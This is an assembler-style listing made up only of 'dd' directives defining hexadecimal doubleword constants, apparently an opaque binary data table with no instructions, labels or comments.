dd 19B14943h, 0B4A1C23Bh, 2F8B8C94h, 22CA1FE0h, 4AEDB7E5h
dd 6A0339F5h, 2EE3B04Fh, 55D91C41h, 95A0E9A8h, 7E796D80h
dd 969B243Ch, 0B551FD4Eh, 3F53D1Ah, 0D8ABE489h, 7F6C5F5Ah
dd 0D3B224DFh, 1FB10120h, 0CDD184B7h, 1A0A925Dh, 0EE010C79h
dd 9B2D7168h, 1F31BFECh, 5D0C4B5Eh, 1545618Ah, 1D59FEE4h
dd 595A0B59h, 0F41D6785h, 5E3CF0F8h, 0CC6760FFh, 3AE9AD9h
dd 1960D21Ch, 75F8D4FBh, 87FC036Dh, 35747B5h, 516DA01Ch
dd 0AB56457h, 22A01020h, 1F95E5A1h, 3AFF8EA1h, 156A5DB3h
dd 8808E5FCh, 47654BA1h, 213E2119h, 0B04C9E4Ah, 9C54AE59h
dd 0B9E91CFFh, 0D057311Ah, 5F465751h, 0D274C151h, 103176BBh
dd 10A42565h, 0EB470F74h, 45F6EF5h, 636C9B8Ah, 7B82D25h
dd 0DE30BA87h, 190E53E6h, 173FC126h, 636903E6h, 0A193DE73h
dd 0C8073AE6h, 0BBE849F3h, 4B3AE13h, 0D20F57FCh, 41B7A1Ch
dd 71FCE335h, 36BC1FCAh, 878DC34Bh, 0A68BF943h, 1729337Fh
dd 8840D3AEh, 0C02FD4Dh, 8AABB70Ah, 0B335C7BBh, 3BA91C97h
dd 0B71719FDh, 67DC88CEh, 0D0EADB4Eh, 7311812Ah, 0B6B2FB61h
dd 631460F5h, 0E5A8C87Eh, 0CC65AAB7h, 9269016Dh, 336211EEh
dd 22D5A82h, 0FA0F369Ch, 97380529h, 0C0883021h, 0DFE2A504h
dd 197C8ACEh, 97E30950h, 34D504A7h, 55D76CBEh, 5866EA48h
dd 30304A0Bh, 0C09F0E11h, 50398EE8h, 25E0F48Ch, 0A19009C9h
dd 9567917Dh, 37E4781Bh, 0C607391Bh, 0D0DAD29Eh, 0C101C925h
dd 5E87BE9Bh, 0C7B2565Dh, 0D25A9B73h, 951A01F8h, 0AE1322B8h
dd 20A6B3A7h, 0DACA2D0Ch, 0F5756531h, 90823DC6h, 4C6F41A5h
dd 7E45F376h, 0C4DC9ECAh, 39051540h, 0B36FF117h, 0F0B13F83h
dd 0C20AF031h, 23FB0E6Dh, 9E1C575Fh, 0F050F51Ch, 0F3DD12FBh
dd 2C8A2689h, 1F572EB6h, 0F8583DD4h, 40D30139h, 936AA35h
dd 0D3A6A503h, 9C20BBBBh, 0C25B8327h, 56E6F72Ch, 0ED0CE7D3h
dd 373BF5Dh, 574D5425h, 0EC080252h, 0D581BC49h, 0A9AD54E1h
dd 0DFE7D1E6h, 165A286Fh, 0F63C6420h, 0E173D0BEh, 0C751DB74h
dd 0F13EA982h, 0D9AA4E4Eh, 0EECDEF80h, 0E2410FB5h, 0D529EFA8h
dd 1EBAD22h, 4022F7F4h, 0F6EB9AEFh, 5EC8CB95h, 16F100A4h
dd 4F5B2FF4h, 0F251B9F7h, 0C1D7B8D4h, 0C9EABF9Ch, 0B2D96755h
dd 133C8B9Ch, 3A28883Dh, 1700DC52h, 89E23C05h, 5F4F3DE1h
dd 1B912C60h, 28CCF71h, 0C4DEB3B5h, 0BF5DFDAAh, 0BD51F862h
dd 93A3B734h, 0F547C9D9h, 0C409B1E9h, 0F1DEC562h, 42F18D8Ah
dd 0C10FE10Eh, 0FF05678Ch, 0FD6B8C2Fh, 0AD1D14E1h, 0A46F593Ch
dd 95371F40h, 1D32025h, 3973D195h, 4D0064FEh, 0E82E9DACh
dd 6A268C86h, 9E31E548h, 0A141D15Dh, 791F7353h, 0CFD9F50Bh
dd 8DDAD5C6h, 0ADCF8B79h, 0C4E8BAF5h, 51A0AEBBh, 89A2BE6Fh
dd 0B5A8E53Ah, 0CBB46B12h, 0AA16431Fh, 47A5788Eh, 936005FAh
dd 0F0BAB47Eh, 0DB1B4064h, 0B2FEA976h, 9773BBF0h, 0EA098271h
dd 0B8506B85h, 907BA5DDh, 69440CCFh, 30BEDC40h, 0F26FF686h
dd 37B2AEA1h, 47AD1297h, 0F2F53EBEh, 0DE5F78A1h, 1D3875D1h
dd 4B440249h, 0D4688D3Dh, 5E81A68Fh, 0E1521D44h, 4B5D2509h
dd 0E34BA098h, 19E6DFA3h, 1DD0F9E3h, 6060BFD7h, 0BF4E19A7h
dd 29D3142h, 828C7505h, 1D9FCDBFh, 56F6823Eh, 8DE48614h
dd 65169602h, 25959A9Ah, 2948BA22h, 114DEE10h, 0B92059EAh
dd 7648D570h, 8B225D04h, 0CB071530h, 4A6BA091h, 0D235B27Ah
dd 352A93E8h, 3E82EBAEh, 11B273FCh, 8E7EDF28h, 0C0ECA6F6h
dd 8658E7D1h, 5E6E0D48h, 2160EE0Ah, 56EB2C9Dh, 0A07AE23h
dd 0C6C3628Dh, 0B7AFCCD3h
dd 6E1A25A7h, 0CBE18208h, 1A441E1Dh, 169C479Dh, 0F6219AA4h
dd 88D82C1Ch, 199E0903h, 63CF46EEh, 1589A46Ch, 77F2E10h
dd 0E666B47Ch, 908D81D4h, 53D44B26h, 2EF00170h, 64BCDC18h
dd 0C84D035Bh, 0F88FB715h, 0D6F4B0C4h, 43BBD1CAh, 0A447C2CAh
dd 370EBC64h, 91CD6E03h, 0E15869ADh, 0C5D5F9AAh, 0EFC0D91Eh
dd 60832DAAh, 5A32A49h, 0E02A0C61h, 52E7F2Fh, 74C3E04Eh
dd 1F7D7B42h, 0CB945CCCh, 6B7ACA27h, 13704B97h, 6BE830Eh
dd 5D35137h, 17D2C7EDh, 0FCEF2A61h, 0D938AD19h, 756F0874h
dd 3881C11Dh, 0ED41B63Ch, 0C3A8B791h, 941AA244h, 0FDF3BFB5h
dd 1B95CA9Ah, 91590EEDh, 87BA299Fh, 9D9BC5CEh, 5AFB995Bh
dd 5734F2CAh, 0F30CF4A2h, 0B3734FC1h, 0CEF96510h, 4D539BC7h
dd 0C0282F6Eh, 0C0A2C36h, 0B1B1F4E7h, 27BF3DD0h, 3A8D523Ch
dd 96E56CA7h, 14CC82C7h, 538F88E5h, 0A2D9234Ah, 0C1FA3F61h
dd 0A329A9B5h, 7C8B967h, 6F570A8Fh, 13C0A542h, 49162EA1h
dd 77EF7065h, 8485592Ah, 577ED4BEh, 0F828A467h, 436A00D2h
dd 264A1BC4h, 0A8383CD7h, 3B97CC6h, 7EC094AAh, 0C1026CDAh
dd 0BC1CBFA2h, 6CF65191h, 0BF7E99A4h, 9C7CF9F2h, 6000E2CCh
dd 846256A2h, 69E5937Dh, 6280C74Bh, 0E1EE26B5h, 942AA350h
dd 0E73F5EFh, 0ACEF41EBh, 0EE95C7ADh, 0D5481A92h, 0E5A9A5A5h
dd 0A2289F87h, 3411A078h, 31AA1C65h, 9887198Dh, 78F4FD7Dh
dd 0AB79FD8Fh, 1CC84732h, 0D5CA5A70h, 0D7831027h, 0EF5F44B9h
dd 9474C9A1h, 7B56538Eh, 439C01B1h, 0CEA7CBBFh, 0DECC1956h
dd 402E1F77h, 542D4641h, 85D8CBFCh, 0AC4B91C8h, 0C1427D39h
dd 0D477F7D4h, 0C6B41126h, 1E6A84D8h, 24AB3D29h, 84C7A44h
dd 4EE2C7EDh, 3AA2135Bh, 0B51AD29h, 9EA566EFh, 74113571h
dd 70CCFB2Ch, 3F9E88AAh, 9915BBEh, 6EEB50A3h, 5E12BE17h
dd 24537F00h, 0F197411h, 269CC14Bh, 0F5AEF60Ch, 666F1987h
dd 0B90A4434h, 9092BD92h, 0A2A6672Fh, 0B34E5A47h, 6E15B746h
dd 0E2D455B2h, 5DB325B0h, 9BF1AB60h, 0D6F6BC43h, 0CC225C2Bh
dd 0BD071EA4h, 9BEF4F3Eh, 4780A09Fh, 4D407D32h, 0D053CCA7h
dd 0A2733990h, 0FEDE26E0h, 0C14E3751h, 41AE942Ch, 6C0FC80Eh
dd 24AEF194h, 0C3FE5743h, 0B8C6CD8Dh, 0D4318B7Fh, 6A0F158Ch
dd 454CF61Dh, 0C8716012h, 2022EF96h, 0CD060252h, 0CA81DD78h
dd 39AC3C6Ah, 13323B66h, 675271A4h, 4FB23992h, 3BB8F486h
dd 63A3A836h, 487F7E0Bh, 38125252h, 0A189F576h, 971C5E8Fh
dd 0B193902Dh, 47ECAEE1h, 6E4DD533h, 3225ED34h, 4976583Ah
dd 0B3E98A28h, 30A0E5A5h, 0DABC483Dh, 0EE5E8D9h, 26BDFAEBh
dd 0D45E3D85h, 0C2D9EE28h, 0D2547D2Bh, 0B3020987h, 656CA07Dh
dd 0DD21F048h, 0D2EECD11h, 3704135h, 2495763Ch, 6B7CD7EEh
dd 0A3861A12h, 0E63F6AC4h, 1236D2ADh, 9F14B052h, 0CFDFB71Ch
dd 35E824BBh, 7C31C83Fh, 0D02B35h, 0A98A64CBh, 0ECEB73C0h
dd 85C1F53Eh, 637EF3E6h, 6752D5E2h, 0D80D2F42h, 0B84DBB98h
dd 0B3C69D28h, 0F1809317h, 9D09D4CEh, 8D13BA66h, 760BD01Fh
dd 0C3D3D476h, 1D3C21Eh, 0D32827FBh, 4D303463h, 89545FC9h
dd 5F1E6D71h, 9B3825B6h, 6B27D8DBh, 0D1D9629Eh, 18E990ECh
dd 9D363E9Bh, 0F3B31C24h, 0B1CF8048h, 0C19753EAh, 0F30240F2h
dd 0E14F1FC1h, 618481A7h, 171276EBh, 0D24C16A9h, 0D09BD31Fh
dd 12C5BE83h, 0E6A873F9h, 7E3B0A9Dh, 3986736Ah, 0F31D5499h
dd 94635427h, 96D852B7h, 0C69C0C09h, 4F418A0Eh, 42F441C1h
dd 608C0BEh, 2B70E64Dh, 0B1C5D86Dh, 0D339E477h, 0AC026302h
dd 0C2E2F023h, 4606F80Eh, 2EDC7EB1h, 603C4FB6h, 62E89D4Eh
dd 7FADD74Dh, 1B89E09Ch, 0CB9D7E58h, 0BE278315h, 0CE5CE4FFh
dd 97154936h, 570024FCh, 8E6596DFh, 3C1A102Dh, 2E616368h
dd 101EF14Ah, 53C541B4h, 0F7B9B6B1h, 8B2907BFh, 4959343Ch
dd 789DDC5Fh, 25079C0Ah, 0B64B844h, 122D4535h, 599F67A5h
dd 13CA4709h, 0A02F8B33h, 1D2B08Bh, 0D45A196Eh, 4B1A58CEh
dd 9B3E39EFh, 5AB9BDAFh, 0FB3C79F8h, 7AEEB61Dh, 964F0FFFh
dd 875C1C8h, 68ADC286h, 0A57F5EDAh, 3FFF3103h, 9F8935F6h
dd 7365E6E2h, 0D7F8AB9Bh, 0AD7BBDDDh, 0B61CB524h, 81C9EBE3h
dd 0E863C6B6h, 5E812527h, 0E2F19516h, 6D567C9h, 5ACCCDE0h
dd 2910212Eh, 18A4E11Eh, 85E08E8Eh, 7FD01303h, 64C9A50Eh
dd 0F5465939h, 6871F6B3h, 95CEB44Fh, 0C20115C6h, 88B9120h
dd 0FAD1D4E9h, 46C6BB73h, 4A63A5BDh, 2C4C858Eh, 144B486Ch
dd 0D54386EFh, 0A6C85663h, 5D0D0396h, 0E70DF0DDh, 34512473h
dd 0BD6C63A0h, 0DC0622CBh, 3ED7F40h, 634565F9h, 513C16F9h
dd 298A5619h, 75A67904h, 2E4451A1h, 0DBFDD82Ch, 0E86FA60h
dd 4C91485Eh, 0ECF8E592h, 5817A6Dh, 64118F99h, 6D4AA69h
dd 9BD5A04h, 0B15FC310h, 0BA8BE477h, 0E6AE126Eh, 0F2410366h
dd 1790F757h, 14EF0D21h, 49132BE2h, 7C872D7Bh, 0BCC3BBBBh
dd 0A5BB674Ah, 8D2D21F6h, 92BBB9C3h, 0B4FD594Ch, 0E01DA374h
dd 8427F63h, 0F801F1D1h, 0DB52D9E3h, 483876h, 0D75DB856h
dd 0E9E57F95h, 0B52BF0AEh, 9802C9DAh, 0A485FFD5h, 0E9E728B0h
dd 0BFFFBF91h, 1086998Fh, 88C72071h, 0CED4B9Ah, 0C05537E8h
dd 0E65ECBA4h, 0D1774827h, 0E1BA1415h, 9FDE6F9h, 0A8956CFBh
dd 0C74D5077h, 0E9F67B2Ah, 8FC6A799h, 0BEC2C9FFh, 0CE358EAAh
dd 76FCA55Bh, 0FF466568h, 2A2BCFFBh, 8C0DBAA1h, 0F40DBEE6h
dd 29BD13C3h, 0F687B906h, 828C7D0Ch, 72B99273h, 0FFA8F31h
dd 0CA6C1496h, 0C06A456Eh, 27475D94h, 0C8707D3h, 0ED267E3h
dd 33C74078h, 75AC81B2h, 0F9CC2204h, 90C37A56h, 801A3B4Bh
dd 76615ADDh, 673320C5h, 9F35A833h, 84C1FE05h, 1E9E5666h
dd 435DA7BBh, 6A3E90B7h, 11434080h, 61A67DBBh, 63CEA172h
dd 0A6A071F6h, 0C739C887h, 1A599E5Fh, 0BEB34C00h, 4D5A6795h
dd 71A87072h, 3AB84E92h, 9EC902DDh, 165C6E7h, 0CA545983h
dd 0A483CABFh, 500F2202h, 0D1FC92BEh, 0AA45A6E4h, 1D821262h
dd 0A3109E8Ah, 91EDC999h, 0C62CF941h, 0ED6EDF0Bh, 0F4AEBE80h
dd 8C443FB4h, 0E788D5E3h, 9EB4F871h, 65FE3865h, 8C877C1h
dd 0B6C62A7Dh, 0AC46976Ah, 0E8E04DC7h, 946B2025h, 0EFA580EEh
dd 396D3FD9h, 0BABEA052h, 0B19EAC72h, 0FBC9AB7h, 0D6FCE761h
dd 0F7CA5AE0h, 45DBE803h, 0BCEB0303h, 66EB8475h, 33397E5Bh
dd 0E72DE7CDh, 44A56887h, 3C34A52h, 2A08D4ABh, 0CF6C1E2Dh
dd 0EBF31F5Ch, 0C7DAC7FDh, 4ACF490Ch, 0D69CAB32h, 85575694h
dd 311F9E95h, 0EBABA093h, 7CA27350h, 696F198Ch, 4CD42842h
dd 0B41C0AC0h, 0B74E7787h, 0B104B99Dh, 9C81FE1h, 2976F7E7h
dd 42F8B1B5h, 273B4B98h, 0ED309480h, 693E39B2h, 0C2FBBC66h
dd 275654C7h, 0CC80C73h, 6713CF70h, 500DBDEDh, 618FA867h
dd 2D343ECFh, 1F3FE40h, 3E16D8AFh, 0BF7A1738h, 3B5798C5h
dd 52525EE0h, 5347C161h, 0BFE7954Fh, 96697276h, 57F2F674h
dd 45FD2A76h, 0D6344EC3h, 0AB7FAB17h, 5BBB4638h, 394D5E1Bh
dd 0C8CB814Ch, 4082368Ah, 36BB482h, 0FBA0FF0h, 0C34D5248h
dd 6D59C4B6h, 0CAA820A7h, 22630071h, 0D756E53Fh, 7DB24FC7h
dd 0B83D99E1h, 0CA9306BAh, 60B5258Ch, 35C915C9h, 147B3703h
dd 0C74F8F76h, 89FEE3EDh, 52FF1848h, 0C71AA9B5h, 9A1634CEh
dd 8A738772h, 6FBAE33Ah
dd 3340D9E8h, 1C7B968Bh, 2C913351h, 993E7BB5h, 5FCE7DE0h
dd 599B078Ah, 69A1E5B4h, 0D821F001h, 46ADFBC8h, 0E09FC07Ah
dd 79827337h, 0E66C4FFh, 219B9C41h, 93624BF0h, 0A76273ECh
dd 0D0FC2399h, 6956DD85h, 9903C610h, 0F57C3E31h, 1F747C4h
dd 0E3526D03h, 0D3DCDCC8h, 0B75AA206h, 317EC190h, 9EDFB5DEh
dd 3AAC2CABh, 0F6A91443h, 937B7D4Ch, 0B826AA94h, 26B962E5h
dd 26CF531Eh, 26CD2902h, 4DE29DBBh, 0F9F9996h, 0A6FD4E94h
dd 0FF640634h, 0EBF8D680h, 0FEC7CF37h, 22CD94DAh, 5FB0AA85h
dd 5F462728h, 0F7376422h, 17032BEAh, 6AF98AF3h, 75EB2E98h
dd 34623A58h, 0FED09D82h, 0F3C1EC2Dh, 5E87F07h, 91DCAC4Bh
dd 0E8C52B4h, 54D50345h, 3DE7F443h, 56380171h, 0F83C0F49h
dd 4E9DB157h, 77B1BBCDh, 73F71805h, 0A5447C08h, 0CAC02927h
dd 5C9CE180h, 2B67CE63h, 3579293Ah, 47EA862Bh, 5B7F2B6Dh
dd 0C6EA1CFCh, 5C68FA6Ch, 1E997DEDh, 0AC0A6B3Fh, 0AAD9BCBh
dd 404FDB6Eh, 481DC7ABh, 7B1D247Ch, 0FAF744A9h, 5A88D94Bh
dd 0AEFDA58Eh, 9EE69AD9h, 97EA10EDh, 5995DCAh, 5F32CF37h
dd 817A7E53h, 9B3F691Ch, 853D489Ah, 18777AA2h, 0C9E3F8A3h
dd 0EFF3FFCFh, 346B69BAh, 31EABCDBh, 0D9F8A58Bh, 1602C018h
dd 0E7348848h, 0CD899D6Bh, 421CCC3Fh, 1B32BEC6h, 2152BA7Eh
dd 2AAE4559h, 2673F58h, 0E5AAB50Ah, 61789B58h, 0F12D1BAh
dd 0BCCC25E6h, 0B92CB15Dh, 0F965C6E4h, 0DBB6ED9Ah, 3A0DC5E9h
dd 0AE903706h, 89854F3Ah, 4D396AC1h, 340F3D9Dh, 0FB08F2CBh
dd 11C5DFC2h, 0A142403Dh, 0E4417B81h, 7D0D21BFh, 7A1AFE7Bh
dd 0E9C8797Fh, 0C776605Bh, 723FA720h, 3C5E651Fh, 3E32D8F2h
dd 0D0E827A7h, 6987391Dh, 537B774Ah, 0E7384F6Ah, 9232CE98h
dd 83599376h, 0E1B31529h, 256FB31Dh, 83935FE0h, 84468D5Ch
dd 3DB98BD7h, 68FACB66h, 1310A9FAh, 78334229h, 7F289C8Dh
dd 81DB62E9h, 9BD7D30Fh, 9DCA00E6h, 0C5D2CE84h, 0F39B8835h
dd 0ACFE342Eh, 1F223358h, 9289898Eh, 33F12C8Ah, 9AF9DA3Ah
dd 8D350A64h, 0A6085196h, 5220CCFCh, 0DE4C8AFh, 2B2D076Bh
dd 6E624496h, 0F64189DFh, 4F0A41D6h, 0EB6929Eh, 3C092DEFh
dd 427BA49Bh, 8C96D701h, 8DCC47E7h, 3786BF51h, 2D0A4E98h
dd 0C959A5BBh, 64C92278h, 981C2F77h, 5ACB4991h, 0CBD570E2h
dd 506A1F11h, 0E2F48E34h, 3E7392E6h, 0C9AE0D53h, 715C8AE3h
dd 0C79B5836h, 0E67695A0h, 0E16BC59Ch, 37CD95A5h, 549EFDCDh
dd 1DB4687h, 3832082h, 0C25C2707h, 8078BF34h, 0CE7E53ABh
dd 0BAA0769h, 0F741BC3Bh, 31C6C0FDh, 96692829h, 621C09B5h
dd 46DB7760h, 19E0D83Ah, 4D9BFB1Fh, 0C36BB47Dh, 0DB063990h
dd 0F935205h, 0BFFAFB8h, 0E4697675h, 591DB489h, 2A2824B2h
dd 7E8F5CCBh, 0CD0DD8A6h, 0C1473948h, 6268EB27h, 715CD1E1h
dd 19A64DF1h, 367F449Dh, 3AB540EFh, 0B3C5C703h, 74F87C74h
dd 90D9FCABh, 34EFCCBCh, 6D16D060h, 371A792h, 8C1D1705h
dd 3F0CD384h, 41EF2FB0h, 56A5EC9Ah, 2C316013h, 6B108E0Ah
dd 0F60A54F3h, 0B94C0CB2h, 69C46B8Eh, 17305E09h, 2AE046C4h
dd 62646FE7h, 0A9EC7049h, 0DF719076h, 4439B787h, 0D9AE494Fh
dd 4C554015h, 0CD5C78E6h, 9216D3A1h, 0ECC7D19Ch, 0A21AD55Fh
dd 0FEEA921Eh, 0E05533Dh, 0AFE2803Dh, 0A4D005BFh, 0EAA9BEB0h
dd 6E39B5C1h, 0D1275115h, 690FC1CCh, 0B346763Eh, 8934AB4Ah
dd 0BF7D7974h, 2E394470h, 41FA1Fh, 949C641Bh, 13CC1CC4h
dd 5871683Bh, 10B8202Bh, 3C158AEEh, 4B647CD8h, 6EF26385h
dd 0B9310B07h, 359F854Ch, 9D974A00h, 0DFBD7815h, 549580C1h
dd 357D9CEAh, 7BC7F54Fh, 0F5874B57h, 3023EF96h, 67ED34B8h
dd 6381F9E6h, 881EEEE0h, 0A38F5E64h, 43074877h, 2BB9D4D4h
dd 21B8A27Eh, 0CCBFCF41h, 166F38D7h, 584E20F9h, 7A5AF622h
dd 0B79F6638h, 84366795h, 0D3D01EDEh, 0A6FCC4F2h, 42D13E54h
dd 3336D8F0h, 1084C9EEh, 0F2655F9Dh, 62E38ADCh, 373EDB2Ch
dd 6E8F5921h, 3A6DB26Ah, 54702C76h, 8C2C1EE2h, 0AF155B1Ah
dd 33B29190h, 9B1B5477h, 0FADE29ACh, 8F3F9D5Eh, 0A2C44610h
dd 0E718CFCh, 0C68390F4h, 5EB08DADh, 26BB6469h, 0FFF933EFh
dd 321B2F63h, 0BE4CEE89h, 407E37DFh, 0C00EFC72h, 0CC67D223h
dd 697D9553h, 0A45FE4FDh, 0ECA89D54h, 0CA0FE1F2h, 660DE6E1h
dd 0C3C568A5h, 24ECE3F3h, 18E7832Ch, 7B95C618h, 0C99F25ACh
dd 2C380CA3h, 95D9E1BFh, 0CBDAAFBDh, 0EDC159B2h, 788C24F2h
dd 40477D35h, 358AA7FAh, 0B2927FC9h, 86BCB61Ch, 2FEBF79h
dd 7C160A64h, 24BDFA1Bh, 0EAF32EBEh, 631BC54Eh, 0CC13036Fh
dd 0BCE12005h, 0B4432A78h, 39161F86h, 6BDF0AE7h, 9287B624h
dd 737627A2h, 0CB5F79BBh, 0C8C39F91h, 0D33641C3h, 0B87C1C9Ch
dd 1B7F55CBh, 0A1A1B058h, 69960F8Ah, 56B2E898h, 0F9585C94h
dd 0FA6EB618h, 19D0F763h, 496F13D0h, 0A8E804B6h, 268A1838h
dd 0F438F231h, 8A271BCAh, 61141196h, 0A54E1204h, 2CE25594h
dd 0A2B188ABh, 7BA55812h, 95031237h, 0EDB35710h, 0C2008CF2h
dd 5E7CDE8Eh, 9851C2BCh, 0D2C5CFCEh, 0E005598Eh, 44605460h
dd 0EB170E57h, 22FAABA3h, 3D71B854h, 51612E09h, 6DE878D7h
dd 0BE1EBD87h, 6A87189h, 6F9FB291h, 5940AA3h, 0C4E4D736h
dd 0FB3A6BC5h, 0BC5BFD20h, 6DEC359Bh, 22112756h, 73CDC97h
dd 9DF528E8h, 0C25AFF0h, 76E0D94Eh, 0B11420E4h, 66C4226Ch
dd 47220E13h, 0E2B5865Fh, 39949AE8h, 9C7F375Ch, 55F41366h
dd 9F40760Fh, 0FF9727ACh, 30924382h, 0D95F7AE2h, 1ECFAD66h
dd 0DB97FAC2h, 395271F2h, 4FBD7B32h, 41F3D212h, 0C87607ECh
dd 129073B8h, 0ECA7C16Ch, 0FDA2824Fh, 0DD8C10D7h, 900FDA42h
dd 0B8678A8Dh, 1A856F9Fh, 7B0316B3h, 0FFBEFBAAh, 6B5DB3EFh
dd 0A828FFBFh, 8E19DA9h, 6A6AE83Eh, 9F98BADFh, 37CBFC96h
dd 465C09D9h, 8725F6DEh, 4AF23DD6h, 0AC44BD59h, 0E85A85F8h
dd 6902BACEh, 0DFC862E4h, 3520C3A5h, 145933FEh, 89EB77B3h
dd 36C4DC06h, 253D4AEFh, 0BDB745EDh, 6DD41287h, 8925525Ah
dd 0F7B90919h, 0E39AD22Fh, 20453A32h, 0D3F052E3h, 0B30D896Eh
dd 0BB2E8914h, 0CA3011BBh, 20E6C771h, 7E9A68CBh, 28AC2ED6h
dd 41029791h, 0AED70EB2h, 0FB621833h, 0BE5DA430h, 6464A940h
dd 0F670713Eh, 0EB12E345h, 8F4D4516h, 0F975E88Fh, 0D1551FD1h
dd 0DC07B5EFh, 0B14998DFh, 9D947E02h, 0A6DB1BC6h, 0F89B0CB6h
dd 6555CE39h, 0AB4400D9h, 0D801D92Ah, 3F77A201h, 60BB7C6Fh
dd 566B4DB8h, 1B75118Ch, 0A74BF0FEh, 81262AF0h, 0DC429785h
dd 0D1B5218Ch, 0DC8AB96Eh, 0B61BE9F3h, 13B30488h, 6C49E3F6h
dd 23B36B5Dh, 4A0E949Eh, 342D0951h, 4B1DB49Dh, 34E9388Ah
dd 0AE072870h, 0B3B5C539h, 0D573ADBDh, 0DABB9AAEh, 0B452D078h
dd 797BD8E5h, 9D690913h, 57212048h, 8B9182D0h, 829BA0FCh
dd 4D90AA44h, 0B3FA4C91h, 0A300BED0h, 65326594h, 0BE395261h
dd 1C8BF32Eh, 0B1E35C91h, 2AE6508Eh, 0A38275CEh, 30E5AF40h
dd 0AC51E3B5h, 1657CAF9h, 68A35F8Fh, 3D1C2E3Dh, 0C51DD9B8h
dd 0A048951Dh, 4581F8CCh, 2EDF0639h, 377D221Ch, 0A982D621h
dd 0C55AE16Dh, 6C2C5536h, 0A85FEF82h, 0F57B94C0h, 0C1075386h
dd 722E8C18h, 32649E7Eh, 1F14A5C5h, 448ECDEAh, 46F06E3Fh
dd 3D053641h, 602A592Bh
dd 103C6CABh, 9356C690h, 0C6C36C3Ch, 7FB74A64h, 5B8CE16h
dd 0C01A2949h, 0D63E4AA1h, 0A031279Fh, 0F72244E6h, 0DC9276F6h
dd 113C6B37h, 5CCEEDB2h, 41EF1B03h, 5F87FFA5h, 9F110D5Fh
dd 0A8B5E862h, 0E9CD6ADBh, 8E383069h, 9EC6E962h, 82FC7199h
dd 79D95347h, 87AB52A5h, 99550A05h, 79BB1F7Fh, 8EE8786Bh
dd 0E4914D1Ch, 38A728AEh, 0AB205CAFh, 1DF331F8h, 0E735AB73h
dd 80B2F23Bh, 3CEC27B6h, 0F0A39D69h, 6071A714h, 3E2A0FE9h
dd 95DBC257h, 720FFFE3h, 0E370D9E6h, 0DE3BFEA7h, 0C46ED98Dh
dd 7F6BCDE7h, 85FE40C6h, 379F8778h, 818C484Bh, 0A36EBF09h
dd 0E7225D05h, 3F0589FAh, 628C5FE3h, 97C7C925h, 6928ABFh
dd 0C5B42BDFh, 0D579FE1Ch, 9AFA26B5h, 0AF0D47AAh, 98225CAEh
dd 8969F6D5h, 0F4537F84h, 62D3E5ABh, 1BCFAD1Eh, 60354F87h
dd 90D18A52h, 481C47FFh, 13BC5B3Fh, 39077371h, 3B2CF3ACh
dd 8DFA060Eh, 0E65CE316h, 1F96AD0Dh, 8217EA44h, 0D013FA75h
dd 0C9602EBEh, 0A3EB3BC6h, 5F8B6A8Bh, 15CB0CFCh, 5C9D44F7h
dd 4ADDC3D4h, 174FA6A9h, 340F094Ah, 0F345EF90h, 0B6D92DA4h
dd 3C2E3D5h, 916D6B67h, 0B41D3EEh, 71978C37h, 6F7C9DCDh
dd 0BE294B19h, 0FC1E2985h, 18DEE015h, 0A2319109h, 0BBE70128h
dd 0FD405BE3h, 0D1613B0Bh, 0DD4F24AFh, 872EF7EDh, 1BC73367h
dd 7D5E4F63h, 6EC5D2EEh, 0EB203290h, 2FCCF578h, 3ECA4E39h
dd 3CBFD3ACh, 0B0BD9E85h, 0BA4A849Bh, 5C8AFB8Bh, 5F083F5Dh
dd 0F510E6Ch, 208A948Eh, 0E700B82Ah, 0F3584CD3h, 2BD98595h
dd 0C04FC5A0h, 85DDEC2Ah, 8794A1B5h, 486EDC99h, 69BF7ED0h
dd 0FD81D337h, 258125B4h, 355C9ACh, 71A2DA05h, 0E4C0E5F2h
dd 0A1D1F6AEh, 47462E51h, 385EF20Bh, 22C81FC6h, 6E688795h
dd 45A07257h, 0FEB71315h, 7EE5397h, 0B64C9665h, 0A2C4778Bh
dd 0F70F13D5h, 0DAF5B68Ch, 0D019D80Fh, 7927BE5h, 0E26B07D2h
dd 138611DDh, 0D4986E27h, 994AD432h, 0B30463FEh, 233B9695h
dd 0B5F4807Bh, 0B0175926h, 8554DA5h, 89ADADCCh, 30203BA9h
dd 0B6E0C898h, 0B45F306Eh, 2B1348D7h, 1E6CB994h, 0A81A18C8h
dd 2027E0CFh, 31DF52Ah, 44FF80B0h, 7D986AC3h, 1071B043h
dd 0A2AEF4C0h, 381FD4B4h, 38E2A1BBh, 9F001402h, 0BA38CE9Bh
dd 16403059h, 0F20621CEh, 0E33CC300h, 89F91AEh, 0B00D4C42h
dd 0BD671F87h, 0B0A74107h, 8566375Dh, 2F372118h, 0F872BADBh
dd 0CABA0C2Ch, 0BF0E28Ah, 3836004Bh, 0F0A28625h, 52644304h
dd 6DCBF946h, 0A59885D7h, 7DC0EF04h, 90467912h, 5AE3D08Fh
dd 0A71EE25Ch, 482C207h, 684F1BA4h, 0D6675A97h, 0FCF6F53Dh
dd 6B35333Eh, 157B7309h, 23B6219Bh, 199DC20Bh, 5F55DE94h
dd 0DDF3CF31h, 491C790Fh, 0D37EFE4Ch, 5C736ACAh, 956B5859h
dd 32C33AB6h, 8E1C16C8h, 92D146D4h, 0D872D39Fh, 0C270E664h
dd 45A2BE81h, 3980AAEh, 0D9BA4B58h, 0A3AEFF62h, 0DB379154h
dd 82A5553Ah, 3D31B7EEh, 3DEE84B8h, 90FBF687h, 0D0804CD7h
dd 1D72D5B7h, 9949335Fh, 0C1651178h, 97457027h, 6EC2A255h
dd 0CFE515C5h, 5DE0E40Bh, 61DE5B0Fh, 0C3B16CDFh, 4B0E7C98h
dd 84A0CF45h, 3A77BDA0h, 0DDACFF81h, 9E308CFh, 6642F258h
dd 0F43B989Ch, 6E823898h, 5169FC25h, 0F25E5111h, 746A33B6h
dd 177F0954h, 0EBC71D03h, 0F8259287h, 67F168FBh, 0EDFC43E1h
dd 0BDD89A6Ah, 38B588ACh, 67D69C4Bh, 4B369EC6h, 823301B2h
dd 0FDE7DBDDh, 6DDDE72Dh, 0E9BE85F3h, 1477DFA1h, 80DF72A1h
dd 7DFFE357h, 0CF562443h, 2F7FA3F8h, 7D77AAEEh, 4ED41D04h
dd 3A745F54h, 110BB023h, 2B782EFh, 818D8657h, 1D8333D8h
dd 8B503D52h, 0ED251978h, 6E06AC1Ch, 99A8E36Ch, 0E854A521h
dd 0C05B4771h, 0F1BA6DFDh, 0A3A6F625h, 0ABD142B5h, 5AE432Ah
dd 0D4A7DC81h, 0E025DE9Ch, 39590995h, 6E27FB22h, 41C2862Ch
